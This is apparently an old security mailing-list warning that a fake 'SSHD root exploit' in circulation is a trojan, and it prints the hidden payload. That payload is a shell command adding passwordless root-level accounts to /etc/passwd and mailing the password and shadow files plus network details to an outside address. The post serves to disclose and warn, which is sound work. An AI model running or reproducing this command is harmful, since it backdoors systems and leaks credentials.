Speaking of trojans/lame scripts, there is a 'root exploit for Linux 2.0.* and possibly 2.1.* SSHD 1.5-1.2.23' going around on some of the efnet channels.. It is actually a spiffed up c script that does: echo b4b0::0:0::/:>>/etc/passwd;echo babo::10:10::/: >> /etc/passwd ; (cat /etc/passwd /etc/shadow ;/sbin/ifconfig)|mail kitandjp () hotmail com /bin/sh If one were to just print out the shellcode this would be immediately obvious. (i.e. printf("<insert shellcode here>"); pipe it through strings to get rid of the control characters..) The filenames that it is been being passed around as are "sshdexp.c" and the "sshdwarez.c" which was already referenced on bugtraq... other people can rip this one to shreds with the fetch() which is cute.. and the system("/bin/echo") instead of printf(""). This is, however, a good way to get rid of scriptkiddies that don't know how to write code but want all the benefits of everyone elses's intelligence.. Caveat emptor, again. // chris tobkin () umn edu ************************************************************************* Chris Tobkin tobkin () umn edu Java and Web Services - Academic and Distributed Computing Services - UMN ----------------------------------------------------------------------- "Thanks to the printing press, the deviant smart people were able to distribute their genius without having to pass it on genetically.
